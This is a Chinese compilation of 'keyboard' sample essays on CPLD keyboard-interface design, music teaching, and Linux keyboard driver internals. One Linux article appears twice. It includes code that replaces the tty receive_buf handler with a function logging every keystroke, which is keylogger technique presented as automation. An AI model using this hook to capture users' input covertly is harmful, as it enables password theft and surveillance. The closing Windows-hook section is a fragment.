键盘范文10篇

时间:2023-03-14 20:47:42

键盘

键盘范文篇1

关键词:键盘子系统专用键盘接口CPLD状态描述

在单片机应用系统中,存在多种形式的外部数据输入接口界面,例如RS-232C串行通信、键盘输入等[1,4]。其中利用键盘接口输入数据,是实现现象实时调试、数据调整和控制最常用的方法。单片机的键盘扩展电路有多种实现方式,例如直接利用I/O接口线或外接8255A接口芯片,配合适当的接口管理程序,就可以实现键盘扩展功能。但是,在这些方法中,键盘扩展电路需要占用单片机的资源对按键进行监控和处理,这对要求高实时性处理的单片机系统是不实现的。为了解决这一问题,可以使用专用键盘接口芯片(例如Intel8279)[2]来组建键盘子系统。而且,这类专用键盘接口芯片在使用灵活性方面尚有欠缺,尤其当用户需要实现某些特定功能时,其缺点更为明显。针对上述问题,本文提出一种利用复杂可编程逻辑器件(ComplexProgrammableLogicDevice,CPLD)设计技术[3]实现专用键盘接口芯片的方案。

1系统原理

图1是单片机系统中键盘子系统的构成原理框图。其中键盘接口芯片KB-CORE是该子系统的核心部分,它应具备如下功能:第一,产生按键扫描时序,并进行硬件去抖动。如果直按键按下,实现按键编码、中断处理等功能。第二,可以区分处理数字键和功能键。数字键钭由接口芯片暂存,而当功能键被按下时申请CPU中断处理;对多个按键同时按下,按一定的编码优先级处理。第三,提供与MCS-51系列单片机兼容的接口,单片机可以读取芯片中保存的数据或功能代码。第四,提供数据显示接口,可以直接驱动4位七段LED数码管,并进行动态扫描显示。

按键根据键盘子系统的服务对象拟设置子数字键(0~9)、功能键(ROW、COL、DAT)、清零键(CLR)共14个,排成4×4的矩阵,有两个未定义。

2专用键盘接口芯片功能结构设计

根据上述专用键盘芯片KB-CORE的功能要求,图2示出本芯片内部应有的结构框图。其工作原理如下:(1)键盘扫描控制及编码电路中内含一个环形计数器。该计数器计数输出至KSL[0~3]端作为键盘扫描信号。每当扫描信号发生变化时,键盘扫描控制器从KRL[0~3]端读入某一行按键的状态信号。如果没有按键被按下,则扫描下一行;如果有按键被按下,则控制器锁定被扫描行,并延迟约10ms去抖动,然后再次扫描被锁定行以确定按键是否误读。如果按键被证实按下,则一直等待直至用户松开该键。与此同时,数字键码将被保存到先进先出存储器,功能键则直接产生中断请求信号IRQ,通知CPU读取键码DBO[0~7]。(2)FIFORAM中数据容量为16位。每4位对应一个字形符,所以七段LED数码管需要4位。(3)扫描发生器一方面产生LED的位选信号DSL[0~3],另一方面产生扫描显示输出控制电路的位数据选通信号。扫描显示输出控制电路根据位数据选通信号读取FIFORAM中相对应的数据,然后送七段译码电路输出DP[0~6]驱动LED显示屏的段选信号电极。(4)接口控制电路一方面用来识别CPU的读时序;另一方面用来对地址信号线A1A0译码,实现对输出数据的选择。若A0A1=“00”,则输出FIFORAM中的低字节数据;若A0A1=“01”,则输出FIFORAM中的高字节数据;若A0A1=“10”,则输出控制数据(表明ROW、COL、DAT中哪一个被按下);若A0A1=“11”,则不输出FIFORAM中的任何数据。

3专用键盘接口芯片核心部分的状态描述与实现

为了实现上述专用键盘接口芯片功能结构,利用可编程逻辑技术对各个功能块进行逻辑的序描述和实现。由于键盘扫描控制和去抖的逻辑时序设计较复杂并具典型性,因此下面将对键盘扫描控制和去抖部分的设计思想进行介绍。

键盘扫描时序的基本原理[4]可能用图3所示的状态图表示。状态图的输入变量为RST(复位)、KEY-PRESS(有按键)、TIMER-OVER(去抖动延时结束);输出变量包括EN-SCAN(扫描行转移)、EN-CODED(键盘编码启动)、START-TIMER(开启去抖动延时)。从图3中知道,状态S0→S1→S2为按键扫描状态键,状态S3→S4→S5为去抖延时状态链,状态S6为按键保持期。当按键被按下时,进入启动(S3)去抖延时状态链;去抖延时结束后(S5),若按键没有按下则恢复扫描状态键(S0);若按键确认被按下则进入保持期(S6),并输出按键编码,维持至按键松开。

根据状态图3和上述的状态转移描述,进行键盘扫描控制电路的设计,结果如图4所示。其中H3是6位循环移位寄存器,由时钟CLK触发实时状态移位。移位寄存器的输出Q0~Q5分别代表键盘扫描控制电路的状态S0~S6,当然它们并非一一对应,但实现的功能相同。值得一提的是,如果专用键盘芯片KB-CORE的外部时钟CLK来自单片机的ALE信号(如图1所示),当单片机时钟为6MHz时,则专用键盘芯片KB-CORE的外接时钟为1MHz的方波信号,信号周期为1μs。如果将该时钟信号经过一个分频器,使其输出的信号周期约为Tclk=1μs×212≈4ms,然后再作为H3的时钟信号。这意味着键盘扫描控制电路约4ms扫描一行按键。如果H3中的Q2态没有被使用,则可以实现约8ms的去抖动延时。通过这样的设计,可以免除延时计数器,简化电路。

键盘范文篇2

关键词:键盘教学;新课程;音乐课;中小学

一、参照课程理念,转变教学思想

(一)在实践中强调兴趣的引导。新课标中明确指出“兴趣是音乐学习的根本动力和终身喜爱音乐的必要前提”,想要让学生保持对键盘学习的持久喜爱,应以激发兴趣,保持教学趣味性为关键,中小学生通常具有爱动、爱玩、爱模仿的性格特点,同时他们的自制力较差,注意力不够集中,在进行键盘教学时可以适当强调演奏动作和表情神态吸引他们的关注,以促进模仿行为发生。另外,可以弹奏曲目的内容为基础,借助多媒体设备,播放不同类型键盘弹奏出的相同曲目,让学生在聆听欣赏中辨别器乐的使用,既培养了学生的音乐素养,又丰富了学生的音乐视野。(二)在审美中理解音乐的故事。新课程标准提出“以音乐审美为核心”,音乐审美是指通过对音乐艺术的美感体验,理解音乐要素在音乐表现中的作用。键盘乐器拥有良好的共鸣,能弹奏丰富的和弦,又可自由变换音色与音量,对于学生感悟和理解音乐内涵起到了积极作用。旋律的起伏可以带动情感的波动,加之故事情节的插入音乐画面会更加完整,在学生脑海形成深刻的音乐印象。有了对弹奏乐曲的理解和认知作为基础,再当学生面对键盘时会带着愉快,期待的心情,弹奏时也会更加认真和投入。

二、依据课程改革,优化教学内容

(一)民主选弹教材歌曲。新课程改革下的“教学观”提出了从“教育者为中心”到“学习者为中心”的转变,从“注重学科”到“关注人”的转变。新课程改革大力倡导学生的主体地位,鼓励学生参与课堂,民主决策。如选择弹奏曲谱时,可以打破常规的顺序教学,适当给予学生一定的自主选择权利,教师可以在教学大纲所规定的授课范围内给出难度适宜,但具有不同风格类型,又涵盖不同知识技巧的曲谱,先由学生进行选择,最后老师根据实际情况做出最终决定。教学中,学生不是一个个的抽象个体,而是有着丰富个性特点的发展中的人,关注学生情感是当代美育培养的基本要求,更是优化教学内容的必要选择。(二)分段选用键盘乐器。键盘乐器种类多样,为了更好的适应中小学键盘教学,应将学生按照年龄特征分为三个阶段,1-2年级学生处于各项感知器官的初步发育阶段,在使用键盘教学的选择时应考虑它的难度系数和体积大小,可选用较为小巧,便捷的器乐例如口琴,电子琴作为教学内容,在弹奏中锻炼反应能力,协调能力以及发展记忆能力。3-6年级学生自我意识能力增强,逻辑思维开始发展,创造力也遂求知欲和好奇心的增强而提升,在键盘教学上教师可以选用钢琴或者电钢琴,这类乐器音乐宽广,几乎包含了音乐教学所有活动。7-9年级学生,随着与音乐学习接触面的扩大,加之理解能力和逻辑思维的明显增长,更多的要通过键盘教学,发展学生的非智力因素,陶冶性情,培养气质,锻炼意志等,学会表达,磨练耐性,培养恒心。

三、结合学生特点,创新教学方法

(一)在聆听欣赏中倡导启发教学。新课程改革明确规定了“以人为本”的学生观,指出学生是教育活动中具有主体地位的人。此外,对教师也提出了新要求:教师要从知识技能的传授者转变为学生学习的促进者。在键盘教学中,教师应打破原有的范奏―练习―指导的教学模式,从聆听、欣赏入手,运用启发式教学,引导学生说出自己对于作品的理解和看法,大胆猜想作者想所要描绘的意境和所想表达的情感。(二)在情境创设中弹唱与律动结合教学。音乐艺术本就是歌唱与弹奏的相互融合,分析中小学生普遍活泼好动,具有丰富想象力,根据此特点教师在进行键盘教学时可以先创设音乐情境,根据曲子的风格、背景播放相关音频、视频,或以讲故事的形式分析曲子的情感和内容,使学生对谱子有基本认知,在此基础上充分给予学生自由发挥的空间,为歌曲加上律动,采用两人结合演奏的形式表现音乐。可以参照奥尔夫音乐教育模式,运用拍手、拍腿、跺脚、捻指等动作进行“声势”练习作为律动的基本要素。针对低年级可直接由老师编配动作指导学生练习。(三)在教学创新中关注学生个性发展。键盘教学属于音乐实践类课程,是发展学生综合能力,培养情感表达的有效途径,也是个性表现的最佳方式。教师应突破原有的授课模式,在同一年级根据学生的基础程度和兴趣爱好分不同班级进行教学,由不同老师讲授不同的音乐作品,低年级学生由老师进行分配,高年级可根据自身情况选择班级,“投其所好”在一定程度上可以有效激发学生的对于音乐的热爱。学好键盘乐器,有一个扎实的基础是必不可少的,从指法手型,到节奏旋律,再到情感动作,每一环节都需要反复认真的练习。在考核或汇报演出的方式进行表演,学生可以自由选择独奏或者合奏,并邀请全体授课老师作为嘉宾进行欣赏和点评,针对每位同学的表现给出发展性评价和学习建议。

参考文献:

[1]纪虹.浅谈键盘乐器的教学[J].教改探讨,2013(07).

键盘范文篇3

1引言

当前,由于Linux资源完全公开,使得Linux的发展日益广泛快速。基于Linux的各种应用已逐渐深入日常生活的方方面面,尤其是在嵌入式领域,由于内核可裁减定制,因此可随意地根据用户需求进行整个系统的定制与重构。其中,我们可以通过对各种标准外部设备的驱动进行改造,从而实现用户对标准设备的特定需求,例如可以通过对键盘的模拟来实现操作的自动化,从而可以避免重复的键盘操作。

2Linux内核支持的外部调用接口

由于Linux内核作为系统最深层次的核心,因此外部的开发人员并不能直接对内核进行操作。然而在一些应用程序的开发过程中,又不得不使用内核的某些功能,因此就提供了一些外部接口供开发人员直接与底层内核打交道。

2.1中断

在Linux下,硬件中断叫做IRQ(InterruptRequests)。有两种IRQ,短类型和长类型。短IRQ需要很短的时间,在此期间机器的其他部分被锁定,而且没有其他中断被处理。一个长IRQ需要较长的时间,在此期间可能发生其他中断(但不是发自同一个设备)。如果可能的话,最好把一个中段声明为长类型。如果CPU接到一个中断,它就会停止一切工作(除非它正在处理一个更重要的中断,在这种情况下要等到更重要的中断处理结束后才会处理这个中断),把相关的参数存储到栈里,然后调用中断处理程序。这意味着在中断处理程序本身中有些事情是不允许的,因为这时系统处在一个未知状态。解决这个问题的方法是让中断处理程序做需要马上做的事,通常是从硬件读取信息或给硬件发送信息,然后把对新信息的处理调度到以后去做。

实现的方法是在接到相关的IRQ(在Intel平台上有16个IRQ)时调用中断处理程序。这个函数接到IRQ号码、函数名、标志、一个/proc/interrupts的名字和传给中断处理程序的一个参数。标志中可以包括SA_SHIRQ来表明你希望和其他处理程序共享此IRQ(通常很多设备公用一个IRQ),或者一个SA_INTERRUPT表明这是一个紧急中断。这个函数仅在此IRQ没有其他处理程序或需要共享所有处理程序时才会成功运行。

2.2系统调用

系统调用发生在用户进程,通过一些特殊的函数来请求内核提供服务。这时,用户进程被挂起,内核验证用户请求,尝试执行并把结果反馈给用户进程,接着用户进程重新启动。一般当前系统的系统调用作为一张表sys_call_table进行定义的,是由指向实现各种系统调用的内核函数的函数指针组成的表。具体参数参见Linux内核源代码arch/i386/kernel/entry.S文件中:

ENTRY(sys_call_table)

llongSYMBOL_NAME(sys_ni_syscall)

/*0-old"setup()"systemcall*/

llongSYMBOL_NAME(sys_exit)

llongSYMBOL_NAME(sys_ni_syscall)

/*streams2*/

llongSYMBOL_NAME(sys_vfork)

/*190*/

2.3钩子函数

钩子(HOOK)是Linux系统中非常重要的系统接口,用它可以截获并处理送给其他应用程序的消息,来完成普通应用程序难以实现的功能。钩子可以监视系统或进程中的各种事件消息,截获发往目标的消息并进行处理。这样就可以在系统中安装自定义的钩子,监视系统中特定事件的发生,完成特定的功能,比如截获键盘、鼠标的输入,屏幕取词,日志监视等等。可见,利用钩子可以实现许多特殊而有用的功能。

3键盘工作机理

CPU对外部设备的管理是通过中断程序进行的,键盘也是一种外部设备,因此,CPU对键盘的管理也是通过中断进行的。当你击打键盘的时候,键盘控制器会向CPU提出中断申请,CPU响应此中断进行处理,这就完成了一次很简单与人之间通过键盘进行的交互。

首先,当输入一个键盘值的时候,键盘将会发送相应的scancodes给键盘驱动。一个独立的击键可以产生一个六个scancodes的队列。键盘驱动中的handle_scancode()函数解析scancodes流并通过kdb_translate()函数里的转换表(translation-table)将击键事件和键的释放事件(keyreleaseevents)转换成连续的keycode。例如,''''a''''的keycode是30。击键''''a''''的时候便会产生keycode30。释放a键的时候会产生keycode158(128+30)。

然后,这些keycode通过对keymap的查询被转换成相应key符号。获得的字符被送入rawtty队列—tty_flip_buffer。receive_buf()函数周期性的从tty_flip_buffer中获得字符,然后把这些字符送入ttyread队列。

当用户进程需要得到用户的输入的时候,它会在进程的标准输入(stdin)调用read()函数。sys_read()函数调用定义在相应的tty设备(如/dev/tty0)的file_operations结构中指向tty_read的read()函数来读取字符并且返回给用户进程。

4键盘模拟的实现

通常情况下,对键盘模拟的实现一般是通过写一个自己的键盘中断句柄来实现,但这种方法容易导致系统崩溃。因此,在这种方法的基础上可以利用勾子函数来实现。

如附图所示,这里主要用到的勾子函数包括handle_scancode(),put_queue(),receive_buf(),tty_read()和sys_read()等函数。

附图键盘驱动原理图

4.1handle_scancode函数

handle_scancode函数是键盘驱动程序中的一个入口函数(参见文件/usr/src/linux/drives/char/keyboard.c):

voidhandle_scancode(unsignedcharscancode,intdown);

这里通过替换原始的handle_scancode()函数来实现纪录所有的scancode。即将原始的值保存,把新的值注册进去,从而实现所需要的功能,最后再调用回到原始值的情况下。当此新的功能函数完成后,我们就可以记录下键盘上的正确的击键行为了(其中可以包括一些特殊的key,如ctrl,alt,shift,printscreen等等)。

4.2put_queue函数

handle_scancode()函数会调用put_queue函数,用来将字符放入tty_queue。

put_queue函数在内核中定义如下:

voidput_queue(intch)

{

wake_up(&keypress_wait);

if(tty){

tty_insert_flip_char(tty,ch,0);

con_schedule_flip(tty);}}

4.3receive_buf函数

底层tty驱动调用receive_buf()这个函数用来发送硬件设备接收处理的字符。参见/usr/src/linux/drivers/char/n_tty.c:

staticvoidn_tty_receive_buf(structtty_struct*tty,const

unsignedchar*cp,char*fp,intcount)

参数cp是一个指向设备接收的输入字符的buffer的指针。参数fp是一个指向一个标记字节指针的指针。在具体的实现中,先保存原始的ttyreceive_buf()函数,然后重置ldisc.receive_buf到自定义的new_receive_buf()函数来记录用户的输入。

例如:要记录在终端tty1设备上的输入。

intfd=open("/dev/tty1",O_RDONLY,0);

structfile*file=fget(fd);

structtty_struct*tty=file->private_data;

//保存原始的receive_buf()函数

old_receive_buf=tty->ldisc.receive_buf;

//替换成新的new_receive_buf函数

tty->ldisc.receive_buf=new_receive_buf;

//新的new_receive_buf函数

voidnew_receive_buf(structtty_struct*tty,constunsignedchar*cp,char*fp,intcount)

{

logging(tty,cp,count);

//纪录用户击键

/*调用回原来的receive_buf*/

(*old_receive_buf)(tty,cp,fp,count);

}

4.4tty_read函数

当一个进程需要通过sys_read()函数来读取一个tty终端的输入字符时,tty_read函数就会被调用。参见文件/usr/src/linux/drives/char/tty_io.c:

staticssize_ttty_read(structfile*file,char*buf,size_tcount,

loff_t*ppos)

键盘范文篇4

一、调查类别

1.调查地区:大部分为哈尔滨地区私立、公立幼儿园。2.教师层次:中专11人、大专77人、本科44人。3.教师年龄:25岁以下58人、25-35岁52人、36-45岁14人、45岁以上8人。4.教师教龄:3年59人、3-6年27人、7-10年17人、10-20年29人。

二、具体数据

1.在幼儿园的音乐活动中,大多采用哪种音乐活动方式?2.您在幼儿园的音乐活动中经常使用钢琴吗?3.您对基本乐理知识的掌握情况如何?4.您在音乐活动中偏重培养幼儿的哪个方面?5.您认为,钢琴对于您自身的职业发展来讲,哪个方面使用得最多?6.您的钢琴水平相当于业余钢琴考级中的:7.您所在的幼儿园对教师的钢琴演奏水平及即兴伴奏能力要求高吗?8.您所在的幼儿园除常规的音乐活动外,开设其他音乐类的课程吗?9.近五年内有参加过键盘类的培训吗?10.如培训即兴伴奏,您想主要学习哪方面?(选择其中两项)11.您经常练习钢琴吗?

三、数据分析

通过现阶段调查数据显示,排除一小部分的不确定性,大部分参与调查的园所,用钢琴进行音乐活动的设计与讲授的频率很高。50%以上的教师能够对儿歌进行简单的弹奏,不能完成的占3%,当然这种简单的编配,大多在C调的基础上进行,一升一降的占40.91%,两升两降的占12.88%,三升三降的占5.3%,转调是困扰教师们弹好即兴伴奏的一大障碍。理论基础不够扎实,65.15%的教师简单加入正三和弦,也可以说基本停留在主和弦周围,还有的教师已经忘记和弦的概念。一首歌曲不知如何进行分析、处理,基本不会区分调式与调性,也就不能正确的运用和声,44.7%的教师并不能选择恰当的织体,经常出现随意编配,“即兴”弹奏。那到底什么是即兴伴奏呢?答案也是随意的编配,但这里的“随意”,是在一定的规律下的,运用单一的方式方法,有目的的、有条理的进行弹奏。其弹奏方法,有很强的适应能力,应对各种环境的需要,幼儿的常规训练、音乐律动、课间活动、弹唱等等。但老师们求学的心态是很积极的,大部分老师认为钢琴要继续学习下去,不断充实自己的伴奏水平,希望定期组织音乐理论方面知识的学习,贴近幼儿园教学实际,以平时常用的幼儿歌曲为主,讲授常用的伴奏织体,如何编配和声,用钢琴进行律动的设计。

键盘范文篇5

一、键盘和声课程的研究现状

笔者综合分析国内外键盘和声教学的有关研究成果,发现这类研究大多都集中在键盘和声课程本身,主体内容脱离小学音乐教学的实际情况,理论内容阐述过多,且内容难度较大,小学音乐教师对此理解较困难,无法很好地掌握键盘和声的规律,没有把键盘和声与小学课堂教学中的儿童歌曲相结合,只是从单一的层面练习和弦连接。这与小学音乐教师的培养脱节,实践指导欠缺。同时论及高师键盘和声课程教学模式改革的相关研究内容较少。国内外对于键盘和声课程的研究大多局限在理论或实践各自单独层面的研究当中,对理论与实践的结合未能充分从科学性、实践性、操作性等层面进行系统的研究,本课题就此层面进行分析与探究,下面拟从几个方面说明一下研究过程中所考虑的一些问题。

二、高师键盘和声课程教学模式改革的理论和实践意义

1.真正把和声学理论与钢琴即兴伴奏的实践结合起来。键盘和声课程的改革能从键盘和声的学科性入手,为纯理论类课程《和声学》与实践类课程《钢琴即兴伴奏》《儿童歌曲弹唱》搭起坚实的桥梁,真正把和声学的理论运用于钢琴即兴伴奏与弹唱,使理论与实践紧密结合起来,全方位提高学生的歌曲编配与弹唱能力。2.有助于培养未来小学音乐教师的即兴伴奏及音乐创编能力。小学音乐教师必备的一项专业技能就是儿童歌曲弹唱,但在实际运用中都会碰到一个最核心的问题:难以将和声的功能观念和色彩观念付诸于键盘实践,本课题的研究就是要解决这一难题,着力培养未来小学音乐教师的即兴伴奏及音乐编创能力。3.使未来小学音乐教师尽早地接触小学音乐教材中的歌曲素材。目前键盘和声课程的一大弊端就是与小学音乐教育实践脱节。本课题的研究有助于学生尽早接触小学音乐教材中的歌曲素材,运用和声理论和键盘实践来为儿童歌曲编配和声并伴奏,为毕业后顺利入职打下良好的基础。4.为其他课程的学习奠定坚实的和声基础。本研究不仅仅局限于键盘与和声的范畴,同时也为未来小学音乐教师的合唱指挥、音乐鉴赏、曲式分析、音乐创作等实践活动提供理论依据与实践支持,为这些活动的顺利开展奠定坚实的和声基础。

三、键盘和声课程的教学模式改革策略

1.课程设置。进一步完善课程体系,使键盘和声课程成为衔接基础和声与儿童歌曲写作的桥梁。社会环境不断变化,文化及艺术领域的日新月异不断拓展着人们的审美观念。音乐教育在此背景下,不断出现新格局、新模式,音乐受众群体也在不断扩大。自步入21世纪,新的音乐表现形式与音乐语言不断更新,儿童歌曲库也在不断充盈。再者,对于未来的音乐教师来说,不但要掌握和声的理论知识,更要能够运用和声知识来进行儿童歌曲的写作、创编和演奏。所以,基础和声、基础钢琴、歌曲写作、键盘和声等课程的开设顺序、课时长短、内在联系就变得非常重要。要真正发挥键盘和声课程的桥梁作用,首先就需要对整个课程体系进行进一步的完善。2.教学内容。通过对键盘和声的学习培养高师学生的创编能力,以适应未来的小学音乐教学。现今小学音乐教学的内容和方法出现了新的拓展及变化。我们需要就此分析键盘和声课程内容的改革,在现有教学内容的基础上,结合实际需要而进行适当的调整,同步培养高师学生的创编能力,以使这门课程更好融入未来小学音乐教学的结构体系中去,使未来的小学音乐教师具备较强的即兴伴奏、歌曲创编、即兴编创的能力,以适应音乐教育的发展。3.教学方法。由传统的先“讲”后“演”转化成为先“感”后“演”。开始教学前,首先看下要演奏曲目的乐谱,通过哼唱旋律,分析歌曲所蕴含的情绪是优柔婉转还是铿锵有力的,再去分析曲目调式(大小调),这样可实现合规合理演奏,演奏时同步伴随歌唱表演形式,增加课堂的娱乐性,提高学生的学习兴趣。再者,教师还可以开展各式各样的课堂内活动,如班级弹唱比赛,即兴创编竞赛等,引发学生的创造欲。4.教学评价。采取灵活多样的评价方式,避免一刀切的误区。键盘和声课程的评价方式应该是开放式和多样化的,因为这本身就是一个具有创意和体现个性的过程,所以,和声怎么使用和安排与个人的审美经验和习惯息息相关,无法用一个统一的标准判定高下。教师在评价时可采取“和声色彩比赛”的方法,即让学生为同一条旋律配和声及演奏,让学生呈现同一旋律的不同色彩表现。反过来,师生互评也很重要。教师每周可进行课后总结,采集学生对课程内容、课堂进度、教学方法、作业情况等方面的评价和反馈,达到教学相长的目的。5.教材选用紧扣小学音乐教材,有的放矢。除了大学的键盘和声教材之外,各种版本的小学音乐教材也应该是该课程的重要辅助材料。教师带领学生去分析各个年级的典型曲目,让学生掌握儿童歌曲的结构与特征,再结合和声理论和钢琴演奏,让学生熟练地为教材中的儿童歌曲伴奏。这样才能真正有的放矢地让键盘和声课程为小学音乐教育服务。

四、课程改革中的关键问题

1.通过有效的途径提高学生键盘和声与即兴伴奏能力。键盘和声与即兴伴奏需要的理论知识有很多,音乐基础理论知识是提高键盘和声与即兴伴奏能力的一个基本因素,要成为一个合格的和声学教师,需要基本的乐理、和声知识,这些对于弹好钢琴伴奏起着至关重要的作用。其次也需要努力提高学生自身的钢琴弹奏水平,钢琴演奏技巧是学好键盘和声的必备条件,钢琴即兴伴奏是一门融创作与演奏为一体的综合学科,又是一门实践性很强的学科,归根到底,键盘和声与即兴伴奏的精髓在于表演,在实际表演及教学过程中,钢琴弹奏水平如果得到提高,自然能提高键盘和声与即兴伴奏的能力。2.构建符合小学音乐教育实际需要的和声教学理念,树立实践促进理论的教学观念。需要重视理论联系实践,无论键盘和声还是即兴伴奏都是一种表演形式,是音乐教师的必备能力之一。理论都是通过实践来证实的,只有通过实践才能将理论和技巧综合运用到键盘和声教学中。在提高键盘和声能力的过程中进行同类模仿也很重要,将乐谱中一些典型的音律移植到同类型的歌曲中。在和声教学中逐步树立起实践促进理论的教学观念。3.课堂实践中加入小学教材中儿童歌曲,激发学生创作潜能。儿童歌曲在本质上与儿童时代的情感、社会、生活、自然及文化息息相关。通过教学实践活动加强学生对这个社会的探索、实践、反思、创造及学习,逐步展现教师在课堂教学上的组织及主导作用,鼓励学生主动参与,并就此进行个性创作、体现学生的主体作用,发展培育学生的开拓精神和创新精神,使教学寓教于乐。

总之,未来音乐教师的和声理论素养和键盘演奏能力至关重要,在儿童歌曲即兴伴奏,歌曲创编等内容中无不用到键盘和声。和声不应只是纸上的几道题,钢琴演奏也不应只是技能的展示,只有把这两者结合起来,才能真正使未来的小学音乐教师能弹能写能唱,才能为小学音乐教育提供更加坚实的基础。

参考文献:

[1]李霞.和声课与即兴伴奏课教学整合的思考[J].吉林艺术学院学报.2009.2.

[2]王瑞.高师键盘和声课教学问题初探.宝鸡文理学院学报(社会科学版).2011,26(s1).

[3]周玉娥.键盘和声在高师和声教学中的引入.教师.2012(23).

键盘范文篇6

1引言

当前,由于Linux资源完全公开,使得Linux的发展日益广泛快速。基于Linux的各种应用已逐渐深入日常生活的方方面面,尤其是在嵌入式领域,由于内核可裁减定制,因此可随意地根据用户需求进行整个系统的定制与重构。其中,我们可以通过对各种标准外部设备的驱动进行改造,从而实现用户对标准设备的特定需求,例如可以通过对键盘的模拟来实现操作的自动化,从而可以避免重复的键盘操作。

2Linux内核支持的外部调用接口

由于Linux内核作为系统最深层次的核心,因此外部的开发人员并不能直接对内核进行操作。然而在一些应用程序的开发过程中,又不得不使用内核的某些功能,因此就提供了一些外部接口供开发人员直接与底层内核打交道。

2.1中断

在Linux下,硬件中断叫做IRQ(InterruptRequests)。有两种IRQ,短类型和长类型。短IRQ需要很短的时间,在此期间机器的其他部分被锁定,而且没有其他中断被处理。一个长IRQ需要较长的时间,在此期间可能发生其他中断(但不是发自同一个设备)。如果可能的话,最好把一个中段声明为长类型。如果CPU接到一个中断,它就会停止一切工作(除非它正在处理一个更重要的中断,在这种情况下要等到更重要的中断处理结束后才会处理这个中断),把相关的参数存储到栈里,然后调用中断处理程序。这意味着在中断处理程序本身中有些事情是不允许的,因为这时系统处在一个未知状态。解决这个问题的方法是让中断处理程序做需要马上做的事,通常是从硬件读取信息或给硬件发送信息,然后把对新信息的处理调度到以后去做。

实现的方法是在接到相关的IRQ(在Intel平台上有16个IRQ)时调用中断处理程序。这个函数接到IRQ号码、函数名、标志、一个/proc/interrupts的名字和传给中断处理程序的一个参数。标志中可以包括SA_SHIRQ来表明你希望和其他处理程序共享此IRQ(通常很多设备公用一个IRQ),或者一个SA_INTERRUPT表明这是一个紧急中断。这个函数仅在此IRQ没有其他处理程序或需要共享所有处理程序时才会成功运行。

2.2系统调用

系统调用发生在用户进程,通过一些特殊的函数来请求内核提供服务。这时,用户进程被挂起,内核验证用户请求,尝试执行并把结果反馈给用户进程,接着用户进程重新启动。一般当前系统的系统调用作为一张表sys_call_table进行定义的,是由指向实现各种系统调用的内核函数的函数指针组成的表。具体参数参见Linux内核源代码arch/i386/kernel/entry.S文件中:

ENTRY(sys_call_table)

llongSYMBOL_NAME(sys_ni_syscall)

/*0-old"setup()"systemcall*/

llongSYMBOL_NAME(sys_exit)

llongSYMBOL_NAME(sys_ni_syscall)

/*streams2*/

llongSYMBOL_NAME(sys_vfork)

/*190*/

2.3钩子函数

钩子(HOOK)是Linux系统中非常重要的系统接口,用它可以截获并处理送给其他应用程序的消息,来完成普通应用程序难以实现的功能。钩子可以监视系统或进程中的各种事件消息,截获发往目标的消息并进行处理。这样就可以在系统中安装自定义的钩子,监视系统中特定事件的发生,完成特定的功能,比如截获键盘、鼠标的输入,屏幕取词,日志监视等等。可见,利用钩子可以实现许多特殊而有用的功能。

3键盘工作机理

CPU对外部设备的管理是通过中断程序进行的,键盘也是一种外部设备,因此,CPU对键盘的管理也是通过中断进行的。当你击打键盘的时候,键盘控制器会向CPU提出中断申请,CPU响应此中断进行处理,这就完成了一次很简单与人之间通过键盘进行的交互。

首先,当输入一个键盘值的时候,键盘将会发送相应的scancodes给键盘驱动。一个独立的击键可以产生一个六个scancodes的队列。键盘驱动中的handle_scancode()函数解析scancodes流并通过kdb_translate()函数里的转换表(translation-table)将击键事件和键的释放事件(keyreleaseevents)转换成连续的keycode。例如,''''a''''的keycode是30。击键''''a''''的时候便会产生keycode30。释放a键的时候会产生keycode158(128+30)。

然后,这些keycode通过对keymap的查询被转换成相应key符号。获得的字符被送入rawtty队列—tty_flip_buffer。receive_buf()函数周期性的从tty_flip_buffer中获得字符,然后把这些字符送入ttyread队列。

当用户进程需要得到用户的输入的时候,它会在进程的标准输入(stdin)调用read()函数。sys_read()函数调用定义在相应的tty设备(如/dev/tty0)的file_operations结构中指向tty_read的read()函数来读取字符并且返回给用户进程。

4键盘模拟的实现

通常情况下,对键盘模拟的实现一般是通过写一个自己的键盘中断句柄来实现,但这种方法容易导致系统崩溃。因此,在这种方法的基础上可以利用勾子函数来实现。

如附图所示,这里主要用到的勾子函数包括handle_scancode(),put_queue(),receive_buf(),tty_read()和sys_read()等函数。

附图键盘驱动原理图

4.1handle_scancode函数

handle_scancode函数是键盘驱动程序中的一个入口函数(参见文件/usr/src/linux/drives/char/keyboard.c):

voidhandle_scancode(unsignedcharscancode,intdown);

这里通过替换原始的handle_scancode()函数来实现纪录所有的scancode。即将原始的值保存,把新的值注册进去,从而实现所需要的功能,最后再调用回到原始值的情况下。当此新的功能函数完成后,我们就可以记录下键盘上的正确的击键行为了(其中可以包括一些特殊的key,如ctrl,alt,shift,printscreen等等)。公务员之家

4.2put_queue函数

handle_scancode()函数会调用put_queue函数,用来将字符放入tty_queue。

put_queue函数在内核中定义如下:

voidput_queue(intch)

{

wake_up(&keypress_wait);

if(tty){

tty_insert_flip_char(tty,ch,0);

con_schedule_flip(tty);}}

4.3receive_buf函数

底层tty驱动调用receive_buf()这个函数用来发送硬件设备接收处理的字符。参见/usr/src/linux/drivers/char/n_tty.c:

staticvoidn_tty_receive_buf(structtty_struct*tty,const

unsignedchar*cp,char*fp,intcount)

参数cp是一个指向设备接收的输入字符的buffer的指针。参数fp是一个指向一个标记字节指针的指针。在具体的实现中,先保存原始的ttyreceive_buf()函数,然后重置ldisc.receive_buf到自定义的new_receive_buf()函数来记录用户的输入。

例如:要记录在终端tty1设备上的输入。

intfd=open("/dev/tty1",O_RDONLY,0);

structfile*file=fget(fd);

structtty_struct*tty=file->private_data;

//保存原始的receive_buf()函数

old_receive_buf=tty->ldisc.receive_buf;

//替换成新的new_receive_buf函数

tty->ldisc.receive_buf=new_receive_buf;

//新的new_receive_buf函数

voidnew_receive_buf(structtty_struct*tty,constunsignedchar*cp,char*fp,intcount)

{

logging(tty,cp,count);

//纪录用户击键

/*调用回原来的receive_buf*/

(*old_receive_buf)(tty,cp,fp,count);

}

4.4tty_read函数

当一个进程需要通过sys_read()函数来读取一个tty终端的输入字符时,tty_read函数就会被调用。参见文件/usr/src/linux/drives/char/tty_io.c:

staticssize_ttty_read(structfile*file,char*buf,size_tcount,

loff_t*ppos)

键盘范文篇7

钩子分类:

1、WH_CALLWNDPROC和WH_CALLWNDPROCRET:使你可以监视发送到窗口过程的消息

3、WH_DEBUG调试钩子

4、WH_FOREGROUNDIDLE当当应用程序的前台线程大概要变成空闲状态时,系统就会调用WH_FOREGROUNDIDL

5、WH_JOURNALRECORD监视和记录输入事件

